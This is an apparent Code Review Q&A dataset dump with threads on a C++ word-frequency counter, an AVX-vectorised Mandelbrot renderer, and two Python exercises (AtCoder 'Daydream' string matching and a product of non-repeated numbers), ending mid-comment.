body
stringlengths 25
86.7k
| comments
list | answers
list | meta_data
dict | question_id
stringlengths 1
6
|
|---|---|---|---|---|
<p>I'm a novice in <code>C++</code>. I want to do three things:</p>
<ol>
<li>Get the number of lines in the file</li>
<li>Get the number of total words in the file</li>
<li>Get each frequency of each "unique word". </li>
</ol>
<p>Here, "unique word" is simply the same set of characters delimited by whitespace; different punctuation and casing are considered different.</p>
<p>I am using a linked list to achieve this. </p>
<h3><strong>I want to ask improvements on a number of things</strong>:</h3>
<ol>
<li><p>If there's a better way to get whitespace delimitation than using <code>getline</code> and converting the results to a <code>stringstream</code></p></li>
<li><p>If there's a better way to automatically add nodes to the the linked list if I haven't found a node with the matching word. </p></li>
<li><p>I have to initialize the linked list with a null head, and therefore have to remove it when I'm printing results. Surely there must be a better way of initialization</p></li>
</ol>
<p>I realize repeated searches through the linked list is not efficient, but that is not the concern currently, I am just trying to get used to using things in <code>C++</code>.</p>
<p>Code: </p>
<pre class="lang-cpp prettyprint-override"><code># include <iostream>
# include <fstream>
# include <sstream>
# include <string>
# include <algorithm>
using namespace std;
// Node
struct Node {
string word;
int count = 1;
Node * next;
};
// Checks if string is whitespace
bool whiteSpace(const string& str){
return (str == "\r" || str=="\n" || str ==" " || str == "" || str == "\t");
}
// Prints contents of linked list
void printList(Node* head){
Node * search = head;
while(search->next != nullptr){
cout << search->word << " : " << search->count << endl;
search = search->next;
}
}
int main(int argc, char* argv[]){
// Initiliazation of file I/O
ifstream inFile;
string fileName;
cout << "Enter file name: ";
getline(cin, fileName);
inFile.open(fileName.c_str());
string str;
int lineNum = 0;
int wordCount = 0;
// Initialization of linked list
Node * head = new Node();
head-> next = nullptr;
// For each line
while(getline(inFile, str)){
/*
###############CODE REVIEW:#################
THIS PART SEEMS OVERLY REDUNDANT AND INEFFICIENT!!
Going from a fstream to read each line, and then to convert each string into a
stringstream. Better options?
*/
stringstream ss;
ss << str;
// For each word in the line
while(ss){
string s;
ss >> s;
// Ignore whitespace as words
if (!whiteSpace(s)){
wordCount ++;
Node * search = head;
/*
###############CODE REVIEW:#################
This FOUND boolean seems inefficient!
Refer to below.
*/
bool found = false;
// Search the entire linked list
while(search->next != nullptr){
// If we've found the word in the linked list, update its count
if(search->word == s){
search->count ++;
found = true;
break;
}
search = search->next;
}
/*
###############CODE REVIEW:#################
This FOUND boolean seems inefficient!
For each word, I need to check if it's found or not -- even if it's found!
There must be a better way to increase the length of the linked list if we haven't
found a node with the appropriate data.
*/
if(!found){
Node * newNode = new Node();
search->next = newNode;
newNode->word = s;
}
}
}
// Update line number for each getline
lineNum ++;
}
cout << "Number of lines: " << lineNum << endl;
cout << "Number of words: " << wordCount << endl;
/*
###############CODE REVIEW:#################
Because I initialized with a null head, I have to start at the 2nd node instead of the first one.
*/
head = head->next;
printList(head);
inFile.close();
return 0;
}
</code></pre>
|
[] |
[
{
"body": "<h2>String parsing</h2>\n\n<p>You are right that C++ slightly lacks some convenient features for string parsing. If you were not trying to count lines as well as find words, then a single while loop with:</p>\n\n<pre><code> inFile >> s;\n</code></pre>\n\n<p>would have sufficed, because streaming will terminate on whitespace by default. But because you want to count lines, you need the 2 loops and therefore you need to the <code>stream => str => stringstream => s</code> logic. You can gain some syntactic effeciencies, see code below. </p>\n\n<p>However you do not need (most of) the \"whitespace\" logic, because, as mentioned, <code>stream >> s</code> will be delimited by (and will eliminate) whitespace. </p>\n\n<p>I ended up with just a <code>if (!s.empty)</code> as the only check. </p>\n\n<h2>Style</h2>\n\n<ul>\n<li>Try to get into the habit of not <code>using namespace std;</code>. This is <a href=\"https://www.geeksforgeeks.org/using-namespace-std-considered-bad-practice/\" rel=\"nofollow noreferrer\">considered bad practice</a>. Getting into this habit now will help you as you progress. </li>\n<li><a href=\"https://accu.org/index.php/journals/2619\" rel=\"nofollow noreferrer\">Don't use <code>std::endl;</code></a> unless you explicitly want to flush the output buffer. </li>\n<li>If you are not using <code>argv</code> and <code>argc</code> you can omit them from <code>main()</code>'s signature. This is cleaner and prevents \"unused variable warnings in some IDE's and compiler (And you should have these warnings turned on with <code>-Wall -Wextra</code>).</li>\n<li>Increment operator <code>++</code> should be used as <em>pre</em>-increment rather than <em>post</em> most of the time. get in the habit of doing that, it can be faster in some situations. <a href=\"https://google.github.io/styleguide/cppguide.html#Preincrement_and_Predecrement\" rel=\"nofollow noreferrer\">Almost always <code>++i</code> not <code>i++</code>.</a> </li>\n</ul>\n\n<h2>Linked list - memory</h2>\n\n<p>You are using a self implemented linked list to store the unique words. More on that below. Here I would like to comment on how you implemented that list. </p>\n\n<p>There are a few issues, but the biggest issue I can see, is that you are allocating <code>Node</code>s on the heap with <code>new</code> but you are never <code>delete</code>ing them. That means your application <strong>leaks memory</strong>. You can confirm this with a tool like <code>valgrind</code>. </p>\n\n<p>The guidelines are:</p>\n\n<ol>\n<li>Never write <code>new</code> without writing <code>delete</code></li>\n<li>Never write <code>new</code> or <code>delete</code> => instead <a href=\"https://www.quora.com/Why-are-the-%E2%80%98new%E2%80%99-and-%E2%80%98delete%E2%80%99-keywords-considered-bad-in-modern-C++\" rel=\"nofollow noreferrer\">use smart_pointers like std::unique_ptr</a></li>\n<li>Don't implement you own containers, use the ones from the standard library</li>\n</ol>\n\n<h2>Choosing a container</h2>\n\n<p>Firstly, as mentioned above, don't implement your own containers, let alone write <code>new and delete</code> yourself. Use the ones from the standard library. </p>\n\n<ol>\n<li>There is a rich choice. You could just use <a href=\"https://en.cppreference.com/w/cpp/container/list\" rel=\"nofollow noreferrer\"><code>std::list</code></a> or <code>std::forward_list</code>, which behave similarly to what you use here. More speficically it would be a <code>std::list<std::pair<std::string, int>></code>. </li>\n<li>You are doing a linear search for each word. Linked lists are slow at linear search because they have to \"pointer-hop\" through random parts of memory. For a linear search (and probably most of the time) you should be using a <code>std::vector<std::pair<std::string, int>></code></li>\n<li>Any linear search is the wrong solution for this problem because you are making the algorithm O(n^2), ie for each word found, you are walking through all the words found already. Use an \"associative container\" which optimises this process by using a <a href=\"https://en.wikipedia.org/wiki/Hash_table\" rel=\"nofollow noreferrer\">hash_map</a> under the hood. <code>std::unordered_map<std::string, int></code> would be good and that's what I have used. </li>\n</ol>\n\n<p>Using <code>std::unordered_map</code> massively reduces your code both in lines of code, and also runtime. It makes it easier to understand and more robust and more maintainable. </p>\n\n<h2>RAII</h2>\n\n<p><a href=\"https://en.wikipedia.org/wiki/Resource_acquisition_is_initialization\" rel=\"nofollow noreferrer\">Resource Acquisition is initialisation</a> in an important concept in C++. Read up about it. In your code specifically, you don't need: <code>inFile.close();</code></p>\n\n<h2>Bonus#1</h2>\n\n<p>If you did want to \"lowercase\" and remove \"non-alpha\" characters, I have included that code, because it is non-obvious if you're new to C++ string fiddling. </p>\n\n<h2>Bonus#2</h2>\n\n<p>If you wanted to find out the \"10 most common words\", I have shown how you can easily achieve that by using <code>std::partial_sort_copy</code> to copy the top10 into a <code>std::vector</code>. </p>\n\n<p>Hope that helps. Come back in the comments if I have misunderstood something, or you have questions. </p>\n\n<p>Here is the refactored code:</p>\n\n<pre><code>#include <algorithm>\n#include <fstream>\n#include <iostream>\n#include <sstream>\n#include <string>\n#include <unordered_map>\n\nint main() {\n std::string fileName;\n std::cout << \"Enter file name: \";\n getline(std::cin, fileName);\n std::ifstream inFile(fileName);\n\n int wordCount = 0;\n int lineNum = 0;\n\n std::unordered_map<std::string, int> words;\n\n std::string str;\n while (getline(inFile, str)) {\n std::stringstream ss(str);\n while (ss) {\n std::string s;\n ss >> s;\n // bonus#1: lowercase and remove/erase non-alpha\n std::transform(s.begin(), s.end(), s.begin(),\n [](unsigned char c) { return std::tolower(c); });\n s.erase(\n std::remove_if(s.begin(), s.end(),\n [](unsigned char c) { return std::isalpha(c) == 0; }),\n s.end());\n if (!s.empty()) {\n ++wordCount;\n ++words[s];\n }\n }\n ++lineNum;\n }\n std::cout << \"Number of lines: \" << lineNum << '\\n';\n std::cout << \"Number of words: \" << wordCount << '\\n';\n\n std::cout << \"Word list\\n\";\n for (auto& pair: words)\n std::cout << pair.first << \" : \" << pair.second << \"\\n\";\n\n // bonus#2: top10 words\n std::vector<std::pair<std::string, int>> top10(10, {\"\", 0});\n std::partial_sort_copy(words.begin(), words.end(), top10.begin(), top10.end(),\n [](auto& a, auto& b) { return a.second > b.second; });\n std::cout << \"\\nTop 10 words\\n\";\n for (auto& pair: top10)\n std::cout << pair.first << \" : \" << pair.second << \"\\n\";\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T14:20:28.517",
"Id": "463607",
"Score": "1",
"body": "This is exactly what I've been looking for! You got me to learn about `unordered_map`, the erase-remove idiom, and to refrain from using `std::endl` and `using namespace`. You made my day better, thank you so much!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T14:26:49.437",
"Id": "463608",
"Score": "0",
"body": "@Gust That's great. Glad it helped. I enjoyed writing it. Upvote the answer if you liked it."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T14:51:21.157",
"Id": "463610",
"Score": "0",
"body": "@Gust Only just noticed you were using \"post-incement\", ie `i++`. Added a style note on that and updated the code."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T14:55:30.883",
"Id": "463725",
"Score": "0",
"body": "Another thing you've taught me! I linked the explanation from Google's `C++` style sheet for future reference. Again, you are making the world a better place :)\n\nAlso, maybe because of the umlaut I can't tag you in the comments..."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T16:43:00.753",
"Id": "463733",
"Score": "0",
"body": "@Gust Thanks. I think it won't let you tag the person whose post you are commenting on, because there is no need. They get notified anyway. I don't think it's to do with the Umlaut."
}
],
"meta_data": {
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T09:01:14.463",
"Id": "236522",
"ParentId": "236512",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "236522",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T05:08:08.990",
"Id": "236512",
"Score": "2",
"Tags": [
"beginner",
"linked-list",
"reinventing-the-wheel",
"c++14",
"stream"
],
"Title": "Get word frequency of a txt file and save it to linked list"
}
|
236512
|
<p>I wrote a Mandelbrot renderer in C++ that uses AVX intrinsics to calculate 8 pixels per thread in parallel. It can compute 1080p frames with 256 max iterations in about 40 milliseconds on a 2 core 4 thread i5-6200U laptop. Any advice on performance, code style etc would be appreciated. </p>
<p><a href="https://github.com/voldemoriarty/Qbrot" rel="nofollow noreferrer">https://github.com/voldemoriarty/Qbrot</a></p>
<p><strong>The code</strong>:</p>
<pre><code>#include <immintrin.h>
#include <fstream>
#include <iostream>
#include <chrono>
#include <thread>
#include <vector>
#include "EasyBMP.hpp"
struct ColorScheme {
EasyBMP::RGBColor mapping [16];
ColorScheme () {
mapping[0].SetColor(66, 30, 15);
mapping[1].SetColor(25, 7, 26);
mapping[2].SetColor(9, 1, 47);
mapping[3].SetColor(4, 4, 73);
mapping[4].SetColor(0, 7, 100);
mapping[5].SetColor(12, 44, 138);
mapping[6].SetColor(24, 82, 177);
mapping[7].SetColor(57, 125, 209);
mapping[8].SetColor(134, 181, 229);
mapping[9].SetColor(211, 236, 248);
mapping[10].SetColor(241, 233, 191);
mapping[11].SetColor(248, 201, 95);
mapping[12].SetColor(255, 170, 0);
mapping[13].SetColor(204, 128, 0);
mapping[14].SetColor(153, 87, 0);
mapping[15].SetColor(106, 52, 3);
}
EasyBMP::RGBColor Color (int itr) {
return mapping[itr % 16];
}
};
template <class CS = ColorScheme>
struct MandelbrotMultiThreaded {
int height;
int width;
int max;
float xres;
float yres;
float x0, y0;
float xl, yl, yh;
CS cs;
void Configure (
int height,
int width,
int max = 128,
float xl = -2.5,
float xh = 1,
float yl = -1,
float yh = 1
) {
this->x0 = xl;
this->y0 = yl;
this->xl = xl;
this->yl = yl;
this->yh = yh;
this->xres = (xh - xl) / width;
this->yres = (yh - yl) / height;
this->max = max;
this->width = width;
this->height = height;
}
void LineRenderer (int i, EasyBMP::Image *buff) {
using fvec_t = __m256;
using ivec_t = __m256i;
fvec_t x0 = _mm256_add_ps(_mm256_set1_ps(xl), _mm256_setr_ps(0, xres, 2*xres, 3*xres, 4*xres, 5*xres, 6*xres, 7*xres));
fvec_t y0 = _mm256_set1_ps((i) * yres - yh);
for (int xc = 0; xc < width; xc += 8) {
ivec_t itr = _mm256_setzero_si256();
fvec_t x = _mm256_setzero_ps();
fvec_t y = _mm256_setzero_ps();
fvec_t ab = _mm256_setzero_ps();
fvec_t aCmp = _mm256_setzero_ps();
ivec_t iCmp = _mm256_setzero_si256();
int aMask = 0xff, iMask = 0;
while ((aMask & (~iMask & 0xff)) != 0) {
auto xx = _mm256_mul_ps(x, x);
auto yy = _mm256_mul_ps(y, y);
auto xyn = _mm256_mul_ps(x, y);
auto xy = _mm256_add_ps(xyn, xyn);
auto xn = _mm256_sub_ps(xx, yy);
ab = _mm256_add_ps(xx, yy);
y = _mm256_add_ps(xy, y0);
x = _mm256_add_ps(xn, x0);
aCmp = _mm256_cmp_ps(ab, _mm256_set1_ps(4), _CMP_LT_OQ);
iCmp = _mm256_cmpeq_epi32(itr, _mm256_set1_epi32(max));
aMask = _mm256_movemask_ps(aCmp) & 0xff;
iMask = _mm256_movemask_ps((fvec_t)iCmp) & 0xff;
// only add one to the iterations of those whose ab < 4 and itr < max
// aCmp = 1 for ab < 4
// iCmp = 0 for itr < max
auto inc = _mm256_andnot_ps((fvec_t)iCmp, aCmp);
// inc = -1 for (itr < max) & (ab < 4)
// itr = itr - inc [- (-1) = + 1]
itr = _mm256_sub_epi32(itr, (ivec_t)inc);
}
x0 = _mm256_add_ps(x0, _mm256_set1_ps(8*xres));
// collect results and update buffer
int res[8] __attribute__ ((aligned));
_mm256_store_si256((ivec_t*)res, itr);
for (int c = 0; c < 8; ++c) {
buff->SetPixel(xc + c, i, cs.Color(res[c]));
}
}
}
void RenderMultiThreaded (EasyBMP::Image *buff) {
// use openMP to handle threading for us
// tell the compiler to create a task queue
// it is faster because different sections of the set take different time
// so dynamic scheduling performs better than static
#pragma omp parallel for schedule(dynamic)
for (int y = 0; y < height; ++y) {
LineRenderer(y, buff);
}
}
auto RenderWithTime (EasyBMP::Image *buff, int runs = 1) {
// find the number of available threads
const int pars = std::thread::hardware_concurrency();
std::cout << "Using " << pars << " threads\n";
auto start = std::chrono::high_resolution_clock::now();
while (runs--) RenderMultiThreaded(buff);
auto end = std::chrono::high_resolution_clock::now();
auto dur = std::chrono::duration_cast<std::chrono::nanoseconds>(end-start).count();
return dur;
}
};
int main (int argc, char **argv) {
int w = 640;
int h = 480;
int M = 128;
int C = 1;
float xl = -2.5;
float xh = 1;
float yl = -1;
float yh = 1;
if (argc >= 3) {
w = atoi(argv[1]);
h = atoi(argv[2]);
}
if (argc >= 4) {
M = atoi(argv[3]);
}
if (argc >= 5) {
C = atoi(argv[4]);
}
EasyBMP::Image bmp (w, h, "render.bmp");
MandelbrotMultiThreaded<ColorScheme> mb;
mb.Configure(h,w,M,xl,xh,yl,yh);
auto dur = mb.RenderWithTime(&bmp, C);
std::cout <<
"Rendering done\n"
"Avg time: "
<< (dur / C) * 1e-6 << " (ms)\n"
"Tot time: "
<< dur * 1e-6 << " (ms)\n";
bmp.Write();
return 0;
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T18:43:09.093",
"Id": "463647",
"Score": "2",
"body": "You made significant changes to your question after you received an answer, and those changes invalidated that answer. You should not change the code in your question after it gets answered. See [What should I do when someone answers my question](https://codereview.stackexchange.com/help/someone-answers). If you want the changes to your code reviewed, ask a new followup question (linking back to this one)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-13T16:19:17.310",
"Id": "465131",
"Score": "2",
"body": "@s.s.anne, you should be able to fix the stray `\\`\\`\\`` just by adding a blank line (or HTML comment) after the code block."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-13T21:01:47.660",
"Id": "465170",
"Score": "0",
"body": "@TobySpeight Oh. That's odd. There was a space there before but apparently that didn't do the trick."
}
] |
[
{
"body": "<p>There are some <code>& 0xff</code> operations that are not necessary:</p>\n\n<ul>\n<li><code>(aMask & (~iMask & 0xff))</code>, because the bits reset by <code>& 0xff</code> are already zero in <code>aMask</code>, so they never survive the \"main\" <code>&</code>.</li>\n<li><code>_mm256_movemask_ps(...) & 0xff</code>, because <code>vmovmskps</code> can only set the low 8 bits, the upper bits are already zero.</li>\n</ul>\n\n<blockquote>\n<pre><code> // inc = -1 for (itr < max) & (ab < 4)\n // itr = itr - inc [- (-1) = + 1]\n itr = _mm256_sub_epi32(itr, (ivec_t)inc);\n</code></pre>\n</blockquote>\n\n<p>This is good, sometimes people focus too much on adding 1 and overlook the possibility of subtracting -1 but you didn't fall into that trap.</p>\n\n<p>This part though:</p>\n\n<blockquote>\n <p><code>(ivec_t)inc</code></p>\n</blockquote>\n\n<p>That doesn't work with MSVC, nor does the earlier <code>(fvec_t)iCmp</code>. <code>_mm256_castps_si256</code> (and related intrinsics) work though, which all do nothing but just change the type. Admittedly that's more of a mouthful than just casting, and it makes no difference for GCC and Clang.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T10:30:22.157",
"Id": "463591",
"Score": "0",
"body": "I use `(~iMask & 0xff)` because `~` will set the upper bits high."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T10:31:50.710",
"Id": "463592",
"Score": "1",
"body": "`_mm256_castps_si256` aah, I didn't have MSVC to test with. Well I'll change it. Thanks for the tip"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T09:17:53.303",
"Id": "236523",
"ParentId": "236514",
"Score": "8"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T06:13:25.427",
"Id": "236514",
"Score": "11",
"Tags": [
"c++",
"performance",
"vectorization",
"simd"
],
"Title": "AVX Vectorized Multi-threaded Mandelbrot Renderer"
}
|
236514
|
<p>I am practicing python, and in order to brush up my skill, I am trying the programming contest site AtCoder's past problems.</p>
<p><a href="https://atcoder.jp/contests/language-test-202001/tasks/arc065_a" rel="nofollow noreferrer">Daydream</a></p>
<p>Basically, you are given an input string and have to output YES if the string is constructed with choices of 4 different words ('dream', 'dreamer', 'erase', 'eraser'), otherwise NO.</p>
<p>I implemented as following.</p>
<p>I am aware that there are much better solutions out there, but mine also should work. However, even though first 3 cases were accepted as answers, but other 15 cases fails, and I cannot figure out why my code could fail.</p>
<pre><code>ddee = ('dream', 'dreamer', 'erase', 'eraser')
def match_and_move(s, t, i):
"""checks if string s starts with any of the 4 choices starting from index i"""
if s == t:
return True
for word in ddee:
if s.startswith(word, i):
if match_and_move(s, t+word, i+len(word)):
return True
return False
S = input()
T = ''
print('YES' if match_and_move(S, T, 0) else 'NO')
</code></pre>
<p>What am I doing wrong here?</p>
<p>Any assistance would be appreciated.</p>
<p>Thank you in advanced.</p>
<p>EDIT : </p>
<p>Because this is programming contest site, I was not provided with the input file for the all 18 tests.<br>
I just know that first 3 tests were marked 'AC - Accepted' and other 15 tests were marked 'RE - Runtime Error' without actual error being displayed.<br>
I performed test on my own based on the requirements (as well as the example provided by them on the question page).<br>
At least I know that this code is working as they intended even if it is partially.</p>
<p>EDIT 2 / Answer :</p>
<p>Since this question is closed, I cannot place a separate answer. </p>
<p>Further testing my code, I was looking further in to the constraints.</p>
<ul>
<li>1≦|S|≦10^5</li>
<li>s consists of lowercase English letters.</li>
</ul>
<p>I prepared a string that is 7000 characters long 'dreamerdreamer...dreamer' which should return 'YES' as this is just a repeat of 'dreamer' which is one of the 4 phrases.</p>
<p>And I received following error.</p>
<p>RecursionError: maximum recursion depth exceeded in comparison</p>
<p>Which is self explanatory. (and is also something @VincentRG has suggested)</p>
<pre><code>import sys
sys.setrecursionlimit(10**6)
</code></pre>
<p>By adding above, on my PC this program is working with this large input. 5 more problems are solved on the website, and 10 of the website's test were returning Memory Limit Exception, which also make sense.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T17:43:47.620",
"Id": "463645",
"Score": "0",
"body": "I have edited my post. I do know that the code is working as I intend it to work. I am only provided with limited error report 15 cases that failed"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T19:42:59.717",
"Id": "463654",
"Score": "0",
"body": "Thank you very much greybeard for your edit. It is much clearer than how I was writing!"
}
] |
[
{
"body": "<p>It seems to be fine. What are the failing cases' inputs? Following your link I only see 3 cases which should indeed work.</p>\n\n<p>However, I see there's a limitation of time and memory usage at the beginning, and that S max length is 100000. Your code might for example exceed maximum recursion depth.\nI think a simpler solution would be to use regex. For example (and I added a long sample):</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>import re\nimport random\n\nregexPattern = \"^(dream(er)?|eraser?)*$\"\nsampleList = [\n \"erasedream\",\n \"dreameraser\",\n \"dreamerer\"]\n\n# just add a looooooong sample\nlongSample = \"\"\nmandatoryWords = [\"dream\", \"dreamer\", \"erase\", \"eraser\"]\nwhile True:\n addWord = mandatoryWords[random.randint(0, 3)]\n\n if len(longSample) + len(addWord) > 100000:\n break\n else:\n longSample += addWord\n\nsampleList.append(longSample)\n\nfor sample in sampleList:\n match = re.fullmatch(regexPattern, sample)\n\n if match != None:\n print(\"YES\")\n else:\n print(\"NO\")\n</code></pre>\n\n<p>outputs</p>\n\n<pre><code>YES\nYES\nNO\nYES\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T08:29:44.740",
"Id": "463584",
"Score": "0",
"body": "Thank you very much for your answer. Unfortunately, I guess due to the fact that it is programming contest, I do not get to see the solution's input file :(."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T08:01:41.313",
"Id": "236517",
"ParentId": "236515",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "236517",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T07:23:50.733",
"Id": "236515",
"Score": "1",
"Tags": [
"python",
"beginner",
"python-3.x"
],
"Title": "String constructible from short list of words? AtCoder ABC049C - Daydream"
}
|
236515
|
<p>I am trying to solve the following problem:</p>
<blockquote>
<p>Given three numbers, a, b, and c, return their product, but if one of the numbers is the same as another, it does not count. If two numbers are similar, return the lonely number. If all numbers are same, return 1.</p>
</blockquote>
<p>I have the following solution:</p>
<pre><code>def solve(a, b, c):
product = 0
if a == b == c:
product = 1
elif a == b:
product = c
elif a == c:
product = b
elif b == c:
product = a
else:
product = a * b * c
return product
</code></pre>
<p>How can I do this better? Preferably without using any imports.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T09:45:47.117",
"Id": "463590",
"Score": "7",
"body": "Welcome to CoreReview@SE. When/as you don't tell what to consider *better*, be prepared for personal preferences. The problem statement is funny in using *similar* - close to an integral multiple of 42?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T19:10:00.930",
"Id": "463760",
"Score": "10",
"body": "For what it's worth, your solution is simple and obviously correct. I'd prefer it over many of the shorter less-obviously correct solutions below. As a bonus, your solution is easily transcribed into almost any language!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T20:32:42.633",
"Id": "463926",
"Score": "0",
"body": "*grumble grumble* The **true** correct way is using binary operations..."
}
] |
[
{
"body": "<p>Document your code. <a href=\"https://www.python.org/dev/peps/pep-0257/#what-is-a-docstring\" rel=\"noreferrer\">In the code.</a></p>\n\n<p>Code the way <strong>you</strong> think about the problem - which may very well be as presented in the question.<br>\nLeave a code comment where you have unresolved concerns (like<br>\n<em>there should be a better way to code this, because a == b features in two conditions of a single elif chain</em>).</p>\n\n<pre><code>def solitary_numbers_product(a, b, c):\n \"\"\" return the product of the numbers specified,\n ignoring numbers occurring more than once.\n \"\"\"\n if a == b:\n return 1 if b == c else c\n if a == c:\n return b\n if b == c:\n return a\n\n return a * b * c\n\n\nsolve = solitary_numbers_product\n# finger exercise in functional coding\n# PEP 8 puts imports at module top\nfrom collections import Counter\nfrom functools import reduce\n\n\ndef unique_numbers_product(*numbers):\n \"\"\" return the product of the numbers specified,\n ignoring numbers occurring more than once.\n \"\"\"\n counts = Counter(numbers)\n return reduce(lambda product, factor: product * factor,\n filter(lambda n: counts[n] == 1, counts), 1)\n\n\nif __name__ == '__main__':\n # ToDo: develop a decent test\n numbers = tuple(ord(c) - ord('0') for c in '2353332')\n for offset in range(5):\n triple = numbers[offset:offset + 3]\n print(solve(*triple))\n print(unique_numbers_product(*triple))\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T11:04:59.917",
"Id": "463594",
"Score": "0",
"body": "(Darn. `b == c` occurs more than once…)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T11:34:16.217",
"Id": "463597",
"Score": "12",
"body": "don't be too afraid of repeating code, if it makes the code more readable. I think your `solve` would be more readable if the first condition was `a == b and b ==c` and removing the ternary operator and adding an extra `if` statement. It would be more symmetrical."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T11:48:47.670",
"Id": "463599",
"Score": "0",
"body": "The \"conditional expression\" is how I currently think about it (if I didn't immediately generalise to *multiple numbers*) - if it wasn't, I'd have left a comment more likely than not. I'm not overly concerned about *static* repetition when I don't see a way to (readably) avoid it - one problem with `a == b` in the question is that without recognition of common sub-expressions/conditions, it might be evaluated twice *at runtime*."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T07:11:00.253",
"Id": "463677",
"Score": "1",
"body": "While there is a built-in function [`sum()`](https://docs.python.org/3/library/functions.html#sum), but no `product()`, the lambda used is obsolete: [operator.mul](https://docs.python.org/3/library/operator.html#operator.mul) is part of the Python library, and, as of 3.8, [math.prod()](https://docs.python.org/3/library/math.html#math.prod)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T10:25:47.820",
"Id": "463702",
"Score": "0",
"body": "why not `tuple(int(c) for c in '2353332')` instead of `tuple(ord(c) - ord('0') for c in '2353332')`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T19:21:24.973",
"Id": "463763",
"Score": "0",
"body": "@MaartenFabré: The sole reason is that that is the way I happen to think about it, \"coming from C\": I think the elements of a string to be characters, and the conversion to `int` to apply to strings. Never mind [*Python doesn’t have a char type; instead, every code point in the string is represented as a string object with length* `1`](https://docs.python.org/3/reference/datamodel.html#the-standard-type-hierarchy)."
}
],
"meta_data": {
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T11:00:53.940",
"Id": "236529",
"ParentId": "236520",
"Score": "14"
}
},
{
"body": "<p>You can eliminate one branch by sorting the inputs:</p>\n\n<pre><code>def solve(a, b, c):\n if a == b == c:\n return 1\n a, b, c = sorted([a, b, c])\n if a == b:\n return c\n elif b == c:\n return a\n return a * b * c\n</code></pre>\n\n<p>This makes it a bit shorter. I also like the explicit structure of this code, it is very readable and immediately obvious what happens.</p>\n\n<p>Having immediate returns makes the code also easier to read IMO, although some design philosophies prefer having only a single <code>return</code> per function, as you currently have.</p>\n\n<p>In order to make this even clearer, you should add a <a href=\"https://www.python.org/dev/peps/pep-0257/\" rel=\"nofollow noreferrer\"><code>docstring</code></a> describing what the function does. Unless required by the challenge, <code>solve</code> is also not a good name for this function, because it does not tell you anything about what the function actually does.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T16:07:06.750",
"Id": "463626",
"Score": "1",
"body": "Thinking out-of-the-box! (getting an `TypeError: 'int' object is not iterable` if not bracketing the literal argument to `sorted()`.) You can shave off another comparison putting `return 1` after the `sorted()`: `return 1 if a == c else c if a == b else a if b == c else a * b * c;`. (Ever managed to un-see something?)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T16:09:46.547",
"Id": "463627",
"Score": "0",
"body": "@greybeard: Fixed. However, I'm not a great fan of ternary expressions, unless it is in the most trivial cases, which this most certainly is not. But sure, that would also work :)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T19:59:40.287",
"Id": "463656",
"Score": "0",
"body": "@Graipher: I'm not sure about the `sorted `, my brain has to work harder (and maybe the Python interpreter also)"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T15:53:19.563",
"Id": "236541",
"ParentId": "236520",
"Score": "7"
}
},
{
"body": "<p>Yet another solution, using a dictionary for pattern matching. I do not know how it performs in comparison with previous solutions, but dictionaries in Python are known to be pretty efficient. Note: the keys with two <code>True</code>'s are skipped because they cannot occur.</p>\n\n<pre><code>SOLVE_TABLE = { ( False , False , False ) : lambda a,b,c: a * b * c,\n ( False , False , True ) : lambda a,b,c: b,\n ( False , True , False ) : lambda a,b,c: a,\n ( True , False , False ) : lambda a,b,c: c,\n ( True , True , True ) : lambda a,b,c: 1 }\n\ndef solve(a,b,c):\n return SOLVE_TABLE[(a==b, b==c, c==a)](a,b,c)\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T22:26:14.873",
